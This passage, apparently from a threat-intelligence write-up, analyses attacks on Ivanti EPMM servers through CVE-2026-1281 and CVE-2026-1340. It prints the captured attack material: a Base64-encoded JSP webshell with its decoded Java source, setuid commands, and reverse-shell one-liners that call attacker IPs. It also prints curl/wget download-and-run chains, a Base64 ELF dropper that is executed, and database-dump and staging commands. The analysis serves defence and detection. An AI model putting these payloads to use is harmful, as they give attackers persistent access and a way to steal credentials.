&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This string is commonly associated with an in-memory Java class loader webshell. Observed behavior indicates that attackers first checked for the presence of this string within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt;. If absent, Base64-decoded content was appended to the file.&lt;/p&gt;

&lt;p&gt;Associated commands included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep -q &quot;class U extends ClassLoader&quot; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64 -d &amp;gt;&amp;gt; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id &amp;gt; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xxd -r -p .1 &amp;gt; /mi/tomcat/webapps/mifs/401.jsp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The use of xxd suggests hex-encoded payload staging followed by reconstruction into a JSP file. This indicates deliberate effort to obfuscate payload delivery.&lt;/p&gt;

&lt;p&gt;We also observed permission-related commands such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +s /usr/bin/env&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Indicators point to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt; being used as a webshell location:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Attempted permission manipulation / privilege-related command:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +s /bin/sh &amp;gt; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Additionally, we observed an explicit attacker “webshell check + deploy” logic
    &lt;ul&gt;
      &lt;li&gt;Webshell check / conditional append:&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-q&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;class U extends ClassLoader&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/mi/tomcat/webapps/mifs/403.jsp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 
PCUhIGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlciB7IFUoQ2xhc3NMb2FkZXIgYykgeyBzdXBlcihjKTsgfSBwdWJsaWM
gQ2xhc3MgZyhieXRlW10gYikgeyByZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwgMCwgYi5sZW5ndGgpOyB9fSBwdWJsaW
MgYnl0ZVtdIHAoU3RyaW5nIG8pIHRocm93cyBFeGNlcHRpb24geyB0cnkgeyBDbGFzcyBqID0gQ2xhc3MuZm9yTmFtZSgic
3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOyByZXR1cm4gKGJ5dGVbXSkgai5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIFN0
cmluZy5jbGFzcykuaW52b2tlKGoubmV3SW5zdGFuY2UoKSwgbyk7IH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7IENsYXNzIGo
gPSBDbGFzcy5mb3JOYW1lKCJqYXZhLnV0aWwuQmFzZTY0Iik7IE9iamVjdCB0ID0gai5nZXRNZXRob2QoImdldERlY29kZX
IiKS5pbnZva2UobnVsbCk7IHJldHVybiAoYnl0ZVtdKSB0LmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBTdHJpb
mcuY2xhc3MpLmludm9rZSh0LCBvKTsgfX0gJT48JSAgU3RyaW5nIGwgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigiayIpOyBp
ZiAobCAhPSBudWxsKSB7IG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKHAobCkpLm5ld0luc3R
&lt;span class=&quot;nv&quot;&gt;hbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTsgfSAlPgo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; /mi/tomcat/webapps/mifs/403.jsp &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +s /usr/bin/env&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;/f099583e-9702-4812-b5b5-221d3f3ce33e.ipa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
This logic indicates:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The attacker checks whether a specific Java in-memory loader pattern is already present (class U extends ClassLoader)&lt;/li&gt;
  &lt;li&gt;If not present, the attacker appends Base64-decoded content into 403.jsp&lt;/li&gt;
  &lt;li&gt;The attacker then attempts to change permissions (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +s /usr/bin/env&lt;/code&gt;) as a potential privilege-related action&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Webshell &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;U&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ClassLoader&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;ClassLoader&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;defineClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;throws&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;forName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;sun.misc.BASE64Decoder&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;decodeBuffer&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;forName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;java.util.Base64&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;getDecoder&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[])&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMethod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;decode&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;invoke&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getParameter&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;k&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;U&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClassLoader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;newInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pageContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;
The observed backdoors correspond to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt; described by &lt;a href=&quot;https://defusedcyber.com/ivanti-epmm-sleeper-shells-403jsp&quot;&gt;Defused&lt;/a&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;401.jsp&lt;/code&gt; described by &lt;a href=&quot;https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/&quot;&gt;Palo Alto&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;3-reverse-shell-and-interactive-access-attempts&quot;&gt;3. Reverse Shell and Interactive Access Attempts&lt;/h4&gt;

&lt;p&gt;Multiple reverse shell payloads were delivered through command injection. Observed techniques included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ip&amp;gt;/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ip&amp;gt;/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Python-based reverse shell using socket connections
    &lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RHOST&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;86.106.143[.]200&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;python3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;import sys,socket,os,pty;
s=socket.socket();s.connect((os.getenv(&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RHOST&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;),int(os.getenv(&quot;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RPORT&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncat&lt;/code&gt; interactive shell attempts&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;4-payload-retrieval-and-tool-deployment&quot;&gt;4. Payload Retrieval and Tool Deployment&lt;/h4&gt;

&lt;p&gt;We identified chained command execution used to download and execute remote scripts, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -fsSL http://45.76.28[.]252:8083/update.sh | sh&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget http://45.76.28[.]252:8083/update.sh -O - | sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Additionally, we observed telnet-over-curl execution patterns:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl -Ns telnet://217.148.142[.]48:443 | sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These command chains are indicative of second-stage payload deployment and remote command execution frameworks.&lt;/p&gt;

&lt;p&gt;In one instance, Logs show an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt; command used to write/drop the Base64-decoded ELF binary malware payload with hash: 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2e29ad27b64874bfcb0c926fa324465243844ca8d36ab2db9ab79cf4d787b513&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAA
AAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAA
A+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIh
cB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgABu9mUjjBRSInmahBaaipYDwV
ZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FS
IXAeO3/5g&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--decode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; sysd &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x sysd &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./sysd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
That echo write event was observed across the message log, HTTP request log and access log.
Short analysis of this compact malware shows file read/write + dropped files and outbound contact to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;217.148.142[.]48&lt;/code&gt;, aligning with post-dropper / C2-style behavior.&lt;/p&gt;

&lt;h4 id=&quot;5-database-access-and-data-collection-attempts&quot;&gt;5. Database Access and Data Collection Attempts&lt;/h4&gt;

&lt;p&gt;Explicit database export commands targeting Ivanti-related tables were identified:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mysqldump &lt;span class=&quot;nt&quot;&gt;--databases&lt;/span&gt; mifs &lt;span class=&quot;nt&quot;&gt;--tables&lt;/span&gt; mi_user mifs_ldap_users mifs_ldap_server_config mi_device 
mi_app_setting_entry eas_proxy mi_password_history &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /var/www/ext/html/tmp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The targeted tables include user accounts, LDAP configurations, device information, application settings, proxy configuration, and password history. This suggests potential credential harvesting or configuration exfiltration objectives.&lt;/p&gt;

&lt;p&gt;Archiving activity was also identified:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-czvf&lt;/span&gt; /var/www/ext/html/tmpno /mi/files/system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This behavior is consistent with staging system data for potential exfiltration.&lt;/p&gt;

&lt;h4 id=&quot;6-webroot-write-validation-and-staging&quot;&gt;6. Webroot Write Validation and Staging&lt;/h4&gt;

&lt;p&gt;Multiple write tests targeting static asset directories were identified, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo ok1 &amp;gt; /mi/.../webapps/mifs/css/app.css&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(id; hostname) &amp;gt; /mi/.../css/bootstrap/1o465S.css&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo &quot;.float-left&quot; &amp;gt; /mi/.../webapps/mifs/css/login.css&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Temporary files were created and subsequently removed:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;touch /tmp/test files&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm .1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm staged CSS files&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This pattern indicates validation of write capability followed by cleanup to reduce forensic footprint.&lt;/p&gt;

&lt;h4 id=&quot;7-observed-activity-patterns&quot;&gt;7. Observed Activity Patterns&lt;/h4&gt;

&lt;p&gt;Across the analyzed environments, we observed recurring activity patterns that align with publicly documented exploitation techniques for CVE-2026-1281 and CVE-2026-1340.
The activities can be grouped into the following behavioral categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Remote Code Execution Validation&lt;/li&gt;
  &lt;li&gt;Webroot Write Validation&lt;/li&gt;
  &lt;li&gt;Webshell deployment attempts (401.jsp / 403.jsp).&lt;/li&gt;
  &lt;li&gt;Reverse shell establishment attempts over TCP/443.&lt;/li&gt;
  &lt;li&gt;Retrieval and execution of secondary payloads via curl/wget.&lt;/li&gt;
  &lt;li&gt;Database export attempts and potential data staging.&lt;/li&gt;
  &lt;li&gt;Cleanup commands and anti-forensic behavior.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-others-report&quot;&gt;What others report&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Palo Alto: Critical Vulnerabilities in Ivanti EPMM Exploited&lt;/strong&gt;&lt;/p&gt;

